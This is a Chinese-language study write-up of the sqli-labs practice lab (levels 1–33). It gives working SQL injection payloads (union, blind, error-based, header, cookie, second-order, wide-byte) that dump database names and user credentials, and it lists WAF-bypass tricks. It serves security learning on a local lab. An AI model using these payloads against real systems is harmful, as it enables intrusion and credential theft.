什么是SQL注入呢?
SQL在管理数据库时,往往通过拼接的方式形成一个数据库语言,在拼接SQL语句的时候,可以通过改变SQL语句,让数据执行我们想要的语句,着同样也是危险的存在
开始前的心理准备
我真的是一脸懵啊,虽然前面也大致学过一些SQL语句,但是真当实践起来,还是懵的要死,还是多亏了学长给的资料sql注入天书还有找了找学长的博客才大致了解了这是什么东西,废话就不多说啦,冲冲冲!
基本的一些用法
首先我们先将sqli_labs的数据库做一个大致的了解
展示数据库:
展示数据表:
展示数据表中的内容:
以上的方法是我们在之前已经学习过的内容,下面要介绍的方法是我们没有学习过的知识
查找数据库:
select schema_name from information_schema.schemata
同样是查找了数据库(不要忘记加上;)
查找数据表:
selete table_name from information_schema.tables where table_schema='security'
查找列:
select column_name from information_schema.columns where table_name='users'
查找字段:
select username,password from security.users
后面几种查找方式为MySQL高版本的查找方式
Page—1(Basic Challenges)
Less-1 Get-Error based-Single quotes-String
(基于错误的Get单引号字符输入)
上来就显示了一句话:
please input the id as parameter with numeric value 请以数字值作为参数输入用户标示符
1.尝试寻找注入点
我们由此可以看到’‘1’‘LIMIT0.1’此处多了一个’,这就是从错误信息中找到我们需要的信息,也证明存在注入漏洞
那么SELECT *FROM users WHERE id='1' LIMIT 0,1这句话是什么意思呢?我们在MySQL环境中输入一下:
经过多次尝试变换数字可得出:limit 0,1中第一位代表从第几个开始,就像0代表从第一个开始,而第二位代表显示几个数据,就像1代表显示一个数据
所以现在的SQL语句即变成了select *from where id='1'or 1=1'--+
2.联合注入
即:union 联合注入,union 的作用是将两个 sql 语句进行联合,我们将其放入MySQL环境中试验。
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。
尝试寻找有几个字段
这时候我们就会用到order by语句,至于这个语句是什么意思呢,我们先在MySQL环境下试验一下:
通过改变数字可以看出来order by几就是对第几列排列,当输入的列数不存在时就会报错,所以我们可以用这种方法来判断这张数据表中有几列,(此时使用二分法)
当输入? id=-1' order by 3--+
当输入? id=-1' order by 4--+
这也就说明了4不在实际字段中,则说明数据存在3列
爆破数据库名
输入? id=-1' union select 1,2,database()--+
我们将3的位置换成显示数据库的名称的函数,那么数据库名称就会在页面中显示出来
security即为数据库名
爆破表名
输入 ? id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
group_concat()
将数据进行拼接成为一行进行显示
emails,referers,uagents,users即为数据表名
爆破表中字段名
在上一步中爆出了我们想要的表名users
输入? id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
users,users即为数据表中字段名
爆破所有用户名和密码
输入? id=-1' union select 1,2,group_concat(username,0x3a,password )from users --+
0x3a为:的asll值
或者输入?id=0' union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+
或者输入?id=0' union select 1,2, group_concat(concat_ws('~',username,password))from security.users --+
concat_ws(’~’,A,B):
将A~B显示出来
但在此并不推荐使用’~'应将其改为0x7e为最佳
一些函数的作用:
显示系统用户:
system user()
user()
显示数据库:
database()
显示版本信息:
version()
显示MySQL安装路径:
@@datadir
显示操作系统:
@@version_compile_os
Less-2 Error Based- lntiger
(基于错误的整型注入)
闭合方式为:无闭合,将第一关的’去掉,其余步骤相同
结果:
Less-3 Error Based-String(with Twist)
(基于错误的GET单引号变形字符注入)
闭合方式为:’),其余步骤相同
结果:
Less-4 Error Based-DoubleQuotes string
(基于错误的GET双引号字符注入)
闭合方式为:") 其余步骤相同
结果:
1-4关小结
在SQL注入天数中写道,以下几种语句是最常用于尝试的:
or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+
总结来说 1-4关主要考查的是对闭合方式的理解
Less-5 Double Query-Single Quotes-String
(双注入GET单引号字符型注入)
当输入?id=1–+ 时,显示如下:
出现这种情况,则证明不可用联合注入法
补充一些基本函数:
left():
select left (database(),1)='s'
left(a,b):从左侧截取a的前b位,正确则返回1,错误则返回0
regexp:
select user() regexp 'r'
user()的结果是root,regexp为匹配root的正则表达式,正确时返回1,错误时返回0
like:
select user() like 'r%'
与regexp匹配相似
substr:
select substr()XXX
substr(a,b,c):从位置b开始截取a字符的c位长度
1.select substr(database(),1,1)='s'
database()函数会返回security
ascii():
select ascii(' ')
将某个字符转化为ascii值
2.select ascii(substr((select database()),1,1))
什么是盲注?
盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注
盲注分为三种方法:
基于布尔 SQL 盲注
基于时间的 SQL 盲注
基于报错的 SQL 盲注
1.基于时间的SQL盲注
爆破数据库名长度:
?id=1' and if(length(database())=8,sleep(5),1)--+
当数据库名长度为8时页面就先暂停5秒再开始刷新
所以我们就可以判断出数据库名长度为8
爆破数据库名:
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
数据库名首字母为s时睡5秒再刷新。通过改变left函数中的数字得以爆出整个数据库名。
爆破数据表名:
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
当数据表名首字母为r时页面就先暂停5秒再开始刷新
爆破字段名:
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
当字段名为password时,页面暂停5秒再开始刷新
爆破用户名和密码:
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
当用户名为dump时,页面暂停5秒再开始刷新
时间型盲注耗时费力,一般不建议手注
2.基于布尔 SQL 盲注
在布尔型盲注时正确时有回显,错误时没有回显
爆破数据库:
?id=1' and left((select database()),1) >'t' ='s'--+
?id=1' and left((select database()),1) <'t' ='s'--+
可以看到>'t’无回显,而<'t’有回显
最终可以试出数据库名为security
爆破数据表名:
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
爆破列名:
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
定向爆破时指定password为字段名,找到password为第四个字段,同理找到username,则下一阶段就是爆破这两个字段
爆破字段名:
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
爆破用户名和密码:
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
按照id排序,注意limit 从0开始,且SQL不区分大小写,所以并不知道时Dumb还是dump
3.基于报错的SQL盲注
爆破数据库名:
?id=-1' union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
即security为数据库名
爆破字段名:
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
即referers为字段名
爆破列名:
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
即CURRENT_CONNECTIONS为列名
爆破用户名和密码:
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
即I-kill-you为用户名
小结:
floor函数为向下取整,rand函数为生成随机数
union select cout(*),1,concat(注入语句,floor(rand()*2)) as a from information_schema.tables group by a–+ 的意思是在information_schema.tables中查找名字为a的表,如果没有名为a的表则,生成a的虚拟表并插入数据,这时候执行聚合函数插入表a,由于未有a表返回报错信息,所以就执行了注入语句
Less-6 GET - Double Injection - Double Quotes - String
(双注入GET双引号字符型注入)
第六关仅闭合方式与第五关不同,第六关的闭合方式为双引号闭合
补充一些基本函数:
into outfile: 写文件
select ‘XXX’ into outfile '文件名'
select 'XXX' into outfile '路径'
load_file(): 读文件
select load_file('路径')
Less-7 GET - Dump into outfile - String
(导出文件GET字符型注入)
Less-8 GET - Blind - Boolian Based - Single Quotes
(布尔型单引号GET盲注)
顾名思义使用布尔型盲注
故闭合方式为单引号闭合
其余方式与第五题相同,使用布尔型盲注
补充基本函数:
if (condition,A,B):
如果condition成立,则执行A,如果condition不成立,则执行B
select if(condition,A,B)
使用之前要选择数据库
Less-9 GET - Blind - Time based. - Single Quotes
(基于时间的GET单引号盲注)
这一关无论输入什么都只会显示you are in…那么我们应该如何判断他的闭合方式呢
?id=1' and sleep(3) --+
此时出现明显的延迟,则说明注入成功,其余步骤和第五关一样
爆破数据库长度:
?id=1' and if(length(database())=4 , sleep(3), 1) --+
发现当(length(database())=8时页面暂停3秒,则说明数据库长度为8
爆破数据库名:
?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+
明显延迟,说明数据库首字母为s
继续爆破
?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+
明显延迟,说明数据库名为security
爆破数据表名:
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
同样的,使用limit x,1函数,查询第x张表名,和爆破数据库名一样,爆破出第一个数据表名为referer
继续向后爆破,直至爆破到第三张表为user,明显为用户信息表
爆破字段名:
首先定向爆破,提高手注速度,修改limit x,1 中的x查询password是否存在表中,当limit 3,1的时候查到了password列
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
同样的方法查找表中的username
爆破字段值:
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
Less-10 GET - Blind - Time based - double quotes
(基于时间的双引号盲注)
只需将第九关的单引号换为双引号即可,其余基本一致
Less-11 POST - Error Based - Single quotes- String
(基于错误的POST型单引号字符型注入)
首先,用户名填写admin,密码填写admin,会显示登录成功
这时候,我们打开Burp Suite抓取数据包
打开Hack Bar,将刚刚抓取到的数据包复制粘贴到Post data下,并执行数据
执行之后显示登录成功
下一步,我们将admin后面加上一个’
则显示登录错误,将admin删去也同样显示错误
那么,我们将admin’后加上or 1=1#,则会显示正确
我们将admin删去同样也可也登录成功
这时候我们验证两条语句:
select 1=1 and 1=2
select 1=1 or 1=2
可以看出来,真返回1,假返回0
现在我们来尝试猜一下字段数,先输入3
显示3不在内,继而尝试2:
虽然登录失败,但显而见之,有两个字段
下面,我们进行联合注入:
明确了1,2显示的位置之后,我们就开始进行爆破
爆破数据库名:
同样也可以使用select 1,schema_name from information_schema.shemata语句且用limit 函数来限定显示数据库名
现在我们想要爆破全部的数据库名,那么就要用到group concat()函数进行拼接(此时应该删去limit),则全部数据库名已被爆破出来
爆破数据表:
同样的,只需稍加改动即可
select 1,group_concat(table_name) from information_schema.tables where table_shema='security'
爆破名字段名:
select 1,group_concat(column_name) from information_schema.columns where column_name='users'
爆破字段的值:
select 1,group_concat(username,password)from security.users
想要清晰的看到数据显示,我们就用到concat_ws()函数
select1,group_concat(concat_ws(0x7e,username,password))from security.users
Less-12 POST - Error Based - Double quotes- String-with twist
(基于错误的双引号POST型字符型变形的注入)
和11关一样,先使用Burp Suite抓取数据包,然后截取数据放入Hack Bar的Post data中
这时,我们破坏admin并加上‘ or 1=1#
显示登录失败,且没有回显,证明我们要修改’
当我们尝试")时,显示登录成功,则我们尝试的")闭合方式是正确的
其余爆破数据库名,数据表名,字段名,字段值与11关完全相同:




Less-13 POST - Double Injection - Single quotes- String -twist
(POST单引号变形双注入)
和11,12关一样,先使用Burp Suite抓取数据包,然后截取数据放入Hack Bar的Post data中
但是13关不同的是,回显中没有用户名和密码!
下面开始尝试寻找闭合方式:
只能显示登录成功或登录失败,这时候我们应该使用盲注
猜测数据库长度:
首先用><号即二分法猜测长度,然后得出结论用=表示,如果猜测错误则会暂停五秒
if(length(database())=8,1,sleep(5))
猜测数据库名:
left((select schema_name from information_schema.schemata limit 0,1),1)>'a'
猜测数据库首字母是否大于a,然后一个一个尝试,数据表名,列名,字段名也是如此
下面我们使用Burp Suite再次看这个问题:
打开Burp Suite,刷新页面,抓取数据包
右键单击,将数据包发送给暴力破解模块
点击Clear,清除已有的$,发现给与的信息并不直白,所以我们将HackBar中的语句直接复制粘贴到刚才得到的语句的位置将其覆盖,选中a并点击Add(注意不要选中了‘’)
点击Payloads,在Payload type这里选择Brute forcer(字母),在下面Charater set中有26个字母和0-9数字,因为我们已知该数据库均为字母,所以我们将0-9这些数字删去,Min length和Max length均填写为1
点击Options,将Number of threads 填写为10

最后点击Start attact开始暴力破解
然后我们可以看出来i的数值明显不一样,所以我们数据库名首字母为i
然后我们开始破解第二位字母:在单引号前面加上已经破解的i,然后将最后的1改为2,我们然后破解第二位,以此类推,破解8次结束,以上即为Burp Suite的大致用法
Less-14 POST - Double Injection - Single quotes- String -twist
(POST单引号变形双注入)
首先,与前几关一样,Burp抓取数据包复制到HackBar中
14关与13关除了闭合方式不同之外其他内容完全一致,都要使用盲注的方法,我们通过下面的构造语句可以看出14关为双引号闭合
其余步骤一致,详细见13关
less-15 POST - Blind- Boolian/time Based - Single quotes
(基于bool型/时间延迟单引号POST型盲注)
首先,与前几关一样,Burp抓取数据包复制到HackBar中
15关与13,14关除了闭合方式不同之外其他内容完全一致,都要使用盲注的方法,我们通过下面的构造语句可以看出15关为单引号闭合
剩余步骤参考13关
Less-16 POST - Blind- Boolian/Time Based - Double quotes
(基于bool型/时间延迟的双引号POST型盲注)
16关与13,14,15关也仅是闭合方式不同
补充的知识:
select updatexml(1,concat(0x7e,(构造语句)),1)
在sql环境下举个例子:
就能看出我们的数据库的名字
构造语句可以是我i们之前提到的查库查表查列查字段
Less-17 POST - Update Query- Error Based - String
(基于错误的更新查询POST注入)
17关与前面明显不一样,输入admin后会显示密码已重置
当你输入的数据是错误的时
老样子,抓取数据包
但在此,有个点值得我们注意,那就是如果将passwd后面的值修改,不影响我们登录成功的结果,但是若将uname的值修改,则会显示登录失败
接下来我们修改一下源代码

添加之后就会显示如下:
我们又发现,当我们将uname后面输入错误的信息,只显示一条sql语句,后面那条语句消失了,这是说明只有在第一条语句中输入的值是正确的才会执行的二条语句,我们在admin后面加了’然后可以发现,语句中多了一个‘\’,是对’的转译,这种迹象表名,17关是对uname进行了过滤
那我们就要对passwd进行操作
可以看出来password后的’#都没有被过滤掉,现在,我们要借助17关前补充的知识来进行操作
爆破数据库名:
a' or updatexml(1,concat('#',(select database())),1)#
爆破数据表名:
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
爆破字段名:
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
爆破字段值:
' or updatexml(1,concat('#',(select * from (select concat_ws(' ',id,username,password) from users limit 0,1) a)),1)#
通过改变limit 0,1的数值从而爆破出所有的数值,当然,也可以使用group_concat函数来操作
Less-18 POST - Header Injection - Uagent field - Error based
(基于错误的用户代理,头部POST注入)
首先,我们输入admin发现登录失败了,这是因为17关其实有一个修改密码的功能,所以我们查看一下数据库中的美容是否更改并重新尝试
可以看出数据库中的密码发生了改变
重新登录成功,这时会显示ip地址,浏览器信息
同样的,也可以点击重置数据库
在18关,登录成功显示IP地址和UserAgent,登录失败显示只IP地址
在18关中,username和password都被过滤掉了
下面,我们在源代码中增加两条语句:

于是就会有如下的显示信息:
我们把这句话拿出来看:
INSERT INTO ‘security’.‘uagents’ (‘uagent’, ‘ip_address’, ‘username’) VALUES (‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0’, ‘192.168.3.12’, ‘admin’)
这句话代表插入数据库,用户代理,IP地址为…
我们重新登录,并用Burp Suite抓取数据包
我们将目光放在User-Agent上
第18关,我们要在User-Agent里进行注入
在这里,我使用了火狐的一个插件:ModHeader来进行User-Agent的注入
首先,显而易见,此关闭合方式为单引号闭合,所以,我们依旧使用了17关所提到的updatexml函数构造语句
- 方法一 :
' or updatexml (1,concat(0x7e,(database())),1) or '1' = '1
这里,我们要注意的是这条语句的闭合方式
复制到我们的User-Agent后面,然后执行(此时执行的用户名和密码必须是正确的)
最后,我们就可以拿到数据库名
- 方法二 :
' or updatexml (1,concat(0x7e,(database())),1), ' ',' ')#
同样可以拿到数据库名
下面,要拿到表名,字段名,字段值就很简单了只要将database()的位置换成我们已经学过的那些语句就可以了
Less-19 POST - Header Injection - Referer field - Error based
(基于头部的Referer POST报错注入)
19关与18关基本是一样的
19关:登录成功,显示Referer信息,登录失败,没有回显信息
首先老样子Burp抓包,修改源代码:
可以看出19关的insert语句与18关少许不一样:
依旧是两种方法:
' or updatexml (1,concat(0x7e,(database())),1) or '1' = '1
第一种是完全一样的
' or updatexml (1,concat(0x7e,(database())),1), ' ' )#
第二种只有一个’ ',因为它insert的只有两个数据,使用工具时将User-Agent换为Refere,其余步骤,与18关一致
Less-20 POST - Cookie injections - Uagent field - Error based
(基于错误的cookie头部POST注入)
首先,输入admin进行登录
依照题目所说,20关是cookie注入,这里,我用到了另一个工具,chrome浏览器下的Cookie-Editor
从这里我们可以看到,这里的cookie值是admin
现在,我们在admin后面加上’,并进行保存,刷新,就会发现有报错信息,意味着存在注入漏洞
这时我们应该使用联合查询语句:'union select 1,2,database()#来爆破数据库名
保存,刷新,显示结果:
数据库名已被爆破,接下来就是将database()改为那些基本语句,实现爆破
Less-21 Cookie Injection- Error Based- complex - string
( 基于错误的复杂的字符型Cookie注入)
输入admin登录进去
打开工具,发现竟然是乱码:
我们使用base64在线解码进行解码,发现用户名依旧是admin:
看完源代码我们发现,21关闭合方式为’)所以我们下一步,要将联合查询语句进行base64编码,然后放入我们的工具中
保存,刷新:
数据库名被爆出,接下来按照这个步骤,爆破出所有内容即可
Less-22 Cookie Injection- Error Based- Double Quotes - string
(基于错误的双引号字符型Cookie注入)
22关与21关几乎一模一样,除了闭合方式为",那么我们如何判断闭合方式为"的呢?
这个判断方法我在20和21关忽略了,现在来补上
首先,admin登录,Burp抓包,现在,我们可以看到Cookie uname是一个值,用base64解码后显示的是admin
现在我们要寻找闭合方式,那我们应该多次尝试,直到我们将admin"的方式用base64重新编码,然后输在Burp中运行,才会显示报错信息,证明了闭合方式为双引号闭合
Page1到此终于结束啦!下面我们进入Page2
Page-2(Advanced Injections)
Less-23 GET - Error based - strip comments
(基于错误的,过滤注释的GET型)
首先,老样子,输入?id=1,显示如下:
加一个’和- -+注释符
我们发现,'并没有被注释符注释掉,这是为什么呢,我们看一下源代码:我们输入的#或者- -都被替换为空格了,即被过滤了
- 方法一:
针对sqli-labs我们可以用;%00来代替注释符
使用order by语句
联合注入:首先把id变为一个不存在的值,查看显位
爆破数据库名:
?id=1111' union select 1,2,group_concat(schema_name) from information_schema.schemata;%00
爆破数据表名:
?id=1111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';%00
爆破字段名:
?id=1111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';%00
爆破字段值:
?id=1111' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users;%00
这些都是老方法了,所以我只将语句列出来
方法一总之就是将注释符换为了;%00(英文状态下)
补充知识:MySQL执行的顺序
如果我们想在23关使用order by语句查询几列,那么我们会发现一些问题:
直接?id=1’ order by 10,语句没有闭合,必然是错误的
如果我们使用and或者or语句,我们会发现:我们很清楚只有3列,但当order by 10却依旧没有报错,所以我们认为,这个句子的执行顺序有一定的问题
所以我们在MySQL环境下进行试验:
我们先查看users这张数据表
查找id=1时,数据表中的值
and前后均正确,返回id=1的值
or前后任意一个正确,返回全部的值
正常使用order by语句
and语句在order后面时,会将order by语句忽略掉
但是and语句在order by语句前面就不会被忽略
所以我们将and语句放在order by语句之前,但在23关中,依旧是被忽略的
- 方法二
所以在23关中,order by语句永远都不可能出现错误,所以我们不能使用order by语句,只能使用union select联合注入
当输入1,2,3,4时会形成报错
这也就说明了union select也可以查询当前的列数
下面,我们来显示回显位置
?id=-1111' or '1'='1' union select 1,2,3 and '1' = '1使用or语句爆出第一个内容
将or换为and后,显示位置?id=-1111' and '1'='1' union select 1,2,3 and '1' = '1
开始爆破操作 爆破数据库
?id=-1111' and '1'='1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1' = '1
下面的步骤就不再赘述
- 方法三 报错注入
?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1
这时候,爆出数据库名,
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) or '1'='1通过改变limit的数值来遍历数据,在此处不建议用group_concat()函数,会造成数据的丢失
接下来修改基本语句,完成报错注入
补充知识:二次注入
大致含义为:攻击者构造的恶意数据储存在数据库后,恶意数据被读取并进入SQL查询语句所导致的注入,防御者可能在用户输入恶意数据对其中特殊字符进行转义处理,但在恶意数据插入到数据库时被处理的数据被还原并储存到数据库中,当web程序调用储存在数据库的恶意数据并执行SQL语句查询时,就发生了SQL二次注入
简化为以下两步:
插入恶意数据
进行数据库插入数据时,对其中特殊字符进行转义处理,再写入数据库时保留了原来的数据
引用恶意数据
开发者默认数据库的数据是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行一步检验处理
eg:输入参数id=1’,转义输出id=1’,此时转义之后无法注入,存入数据库为1’,再次取出直接闭合
Less - 24 Second Degree Injections Real treat -Store Injections
(二次注入)
在24关中,如果是在PHPstudy环境下搭建的sqli-labs环境,则24关的代码会出现不完整的情况,所以我们可以在网上重新找一个SQL安装包,然后将24关代码补齐
首先,我们用admin登录,然后显示的是重置密码页面
现在我们返回,重新创建一个新用户
用户名设为admin’#,密码设为123456
注册成功,那么我们用admin’#进行登录
我们将密码改为135246
这时候,我们重新用admin登录,密码是135246
登录成功,说明我们已经完成越权修改密码
(原理)SQL语句:
原先:UPDATE users SET PASSWORD =’ $pass’ where username=’ $username’ and password=’ $ curr_pass’
修改后:UPDATE users SET PASSWORD =’ $123456’ where username=‘admin’#’ and password=’ $ curr_pass’
用’闭合,用#注释后面的内容
即为:UPDATE users SET PASSWORD =’ $123456’ where username=‘admin’
补充知识:SQL注入WAF绕过
- 白盒绕过
通过代码分析,进行绕过(就像less25) - 黑盒绕过
架构层面绕过WAF
寻找源网站绕过WAF,主要针对的是云WAF,找到源网站真实地址,进行绕过
资源限制角度绕过WAF
在一个网段中,经过的数据可能不会经过云WAF,从而实现绕过(一般WAF的执行需要考虑业务优先的原则,所以对于构造较大,超大数据包可能不会检测)
协议层面绕过WAF
协议未覆盖绕过WAF(比如由于业务需要,只对get进行检测,post进行忽略)
参数污染(index?id=1&id=2WAF可能只对id=1进行检测)
规则层面绕过WAF
sql注释符绕过:
union/**/select,我们将union select中间的空格用注释符替换(适用于对union select中间的空格进行检测的情况)
union/fdgsjhajgjh/select 我们在注释符中填充内容
union /aaaaaaaaaabbbbbbbbbbccccccccccc/ 构造较大数据
/union select/内联注释(是MySQL特有的)
空白符绕过
MySQL空白符:%09;%0A;%0B;%0D;%20;%0C;%A0;/* */
正则空白符::%09;%0A;%0B;%0D;%20;
函数分割符号
concat()
浮点数法
WAF可以对id=1检测,但无法对id=1E0,id=1.0,id=\N可能无法检测
利用error-base报错绕过
updatexml()
MySQL特殊语法
select {x schema_name} from {x information_schema.schemata}
大小写注入
若关键字and or union进行了过滤,可以考虑使用大小写混合的方法Or aNd UniOn 但是很多时候会有函数对部分大小写进行过滤,这时候我们可以考虑用双写的方式
关键字重复
OORr ->or
关键字替换
如果以上方法还是无法绕过时,可以考虑替换的方法
and ->&&
or ->||
like ->!=|
- fuzz绕过
使用Burp suite配合手工注入,后期测试成功再用脚本处理
Less-25 Trick with OR & AND
(过滤了or和and)
输入?id=1
判断闭合方式为单引号闭合
可以发现order中的or被过滤了,所以出现了报错
我们查看一下源代码,可以发现25关将or和and都用空格代替
所以我们现在使用上文提到过的关键字重复的方法
因为我们已知有3列,所以我们直接使用联合注入,首先,显示回显位置注意id值一定为一个不可能的值
爆破数据库:
注意information中的or双写
?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+
和以往的步骤一致
爆破数据表:
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆破字段名:
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
爆破字段的值:
?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users --+
还可以使用报错注入的方法
首先,我们用||代替or并进行闭合

接下来,我们就可以通过改变database()的值来爆破接下来的数值
Less-25a Trick with OR & AND Blind
(过滤了or和and的盲注)
我们首先查看源代码并添加输出和换行语句,我们发现和25关一样,都是将or和and换成空格
唯一不同的是,25a的$id没有被包裹
然后的步骤与25关一致
联合注入:
查看回显位置
下面的过程与25关一样
我们现在用另一种方法尝试,基于时间的布尔盲注
判断数据库长度:
?id=-1 oorr if(length(database())=8,1,sleep(5))--+
爆破数据库名:
?id=-1 oorr if(left(database(),1)='s',1,sleep(5))--+
?id=-1 oorr if(left(database(),8)='security',1,sleep(5))--+
下面的步骤都是套用公式,并用limit限制,直至爆破结束
下面26-28关,我在Windows下一些符号无法用特殊字符代替,要切换到Linux下,但是小菜鸡的Linux还没有配置,所以26-28关的内容以后会将其完善,现在先把它水过去了
Less-26(failed) Trick with comments and space
(过滤了注释和空格的注入)
- 方法一:考虑空格
首先我们发现输入id=1可以正常回显,但是当我们加上单引号和–+的注释符时,却发现无法正常显示,这时我们尝试使用比较偏僻的注释符;%00竟然可以注释成功
我们用?id=1' or '1'='1重新尝试,我们会发现,or又消失不见,且空格也消失不见
所以我们来查看一下源代码,我们发现,将很多符号,空格,or,and都过滤掉
我们使用的方法是报错注入
?id=1' || updatexml(1,concat(0x7e,database()),1);%00
由于我们无法使用空格键,所以我们就使用||或者&&来代替空格键
爆破数据库:
爆破数据表:
爆破字段值:
爆破字段内容:
但是我们也发现,不能显示出所有的数据
?id=1' || updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,passwoorrd)))from(security.users)where(id=2))),1) ||'1'='1通过id=来遍历出数据 - 方法二:不考虑空格
我们现在要想的是如何将此处的空格替换掉
补充知识:字符编码问题
这里我放一个连接,需要时可以直接查找
https://www.w3school.com.cn/tags/html_ref_urlencode.html
这里我们使用%a0来绕过空格
Less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us
(过滤了空格和注释的盲注)
输入id=1返回正常
输入?id=1’返回异常
输入?id=1');%00回显正常,找到闭合方式
查看一下源代码,我们发现,比起26关,源代码禁止了将错误打印出来,所以我们无法用报错注入的方法
Less 27 GET - Error Based- All your UNION & SELECT belong to us
(过滤了union和select的)
- 方法一:考虑空格的联合注入
首先输入?id=1
然后输入id=1’;%00回显正常,找到闭合方式
我们来查看一下源代码,发现此关过滤了union和select
- 方法二:报错注入
补充知识:服务器两层架构
客户端进行访问的时候,首先访问的是tomcat服务器,然后tomcat服务器在将数据经过校验传给apache,然后apache再将数据回传给tomcat,tomcat返回客户端
重点:index.php?id=1&id=2 id=1是由jsp服务器接收,id=2是由php服务器接收
HTTP参数污染:jsp(tomcat)使用getgetParameter(“id”)获取的是第一个值,php(apache)使用$GET_[“id”]获取的是第二个值,那么第一个id值纯数字,第二个id进行注入
在开始29关之前,建议下载jspstudy,安装jsp环境,才能完整的体会这几道题目,如果不安装,可能在注入jsp服务器接受的前半部分应该出现登录失败的信息却不会出现,但是整体影响不大,因为我是win10系统,与其不适配,所以就没有配置环境,但如果适配还是建议配置jsp环境
Less-29 Protection with WAF
(基于WAF的一个错误)
首先,我们要明白,这里要有两个参数,输入?id=1&id=3
我们现在来寻找注入点,如果我们在1后加上单引号,会显示登录失败,如果我们在3后加上单引号,会显示存在注入漏洞
我们现在改变3这个数字,来寻找改变的究竟是什么

然后打开数据库对比
第一个值的改变不影响我们取出数据的改变,所以我们只能在第二个值进行注入测试
然后我们进行长度测试:
现在我们来用联合注入展示回显的位置
接着就是我们再熟悉不过的老方法
爆破数据库:
?id=1&id=-3' union select 1,2, group_concat(schema_name)from information_schema.schemata--+
爆破数据表:
?id=1&id=-3' union select 1,2, group_concat(table_name)from information_schema.tables where table_schema='security'--+
爆破字段名:
?id=1&id=-3' union select 1,2, group_concat(column_name)from information_schema.columns where table_name='users'--+
爆破字段内容:
?id=1&id=-3' union select 1,2, group_concat(concat_ws(0x7e,username,password))from security.users--+
同样的,也可用联合注入与报错注入
Less-30 Get-Blind Havaing with WAF
30关与29关几乎一致,首先是闭合方式不一样
30关是双引号闭合,再者,没有报错的回显,所以就不能使用报错注入
接下来的步骤与29关一模一样,查看列数,联合注入,所以不再赘述
Less-31 Protection with WAF
与29,30几乎一致,31关的闭合方式为")
接下来依旧是查列数,联合注入
这三关方法大同小异基本一致
补充知识:宽字节注入
什么是宽字节:GB2312,GBK,GB18030,BIG5等这些都是所谓的宽字节,实际上只有两字节,带来的网络安全问题主要是将两个ASCII字符(一字节)误认作宽字节
在使用PHP连接MySQL时,当设置"set character set client=gbk"时会导致一个编码转换的问题
eg:
id=1’ 处理1’ 进行编码1%5c%27,带入sql后id=‘and…此时无法完成注入
id=1%df’ 处理1%df’ 进行编码1%5c%27,带入sql后id=1鍕’and…此时可以完成注入
Less-32 Bypass addslashes()
- 方法一:联合注入
首先输入?id=1
我们再加一个单引号,发现并没有报错,但是加了一个\对后面的语句进行了注释
我们在MySQL下看一下\会不会对sql语句产生影响,结论是不会的,转译对于sql语句是没有影响的
我们在代码上加一个%df,这时出现报错
进行注释后返回正常
联合注入显示回显:
老样子,爆破数据库:
当我们爆破数据表的时候,如果还是按以往的方法来说:
我们要把security换成十进制,前面加上0x,因为本关将’转译
下面依旧是老方法爆破,不再赘述 - 方法二
%5c代表的是\,此时我们应该构造%5c%5c%5c%5c’,我们要将转译结果中对于单引号没有转译的字符进行处理
然后接着联合注入
其余步骤一致
Less-33 Bypass addslashes()
一如既往的在源代码中添加语句,但是我们发现了一个函数
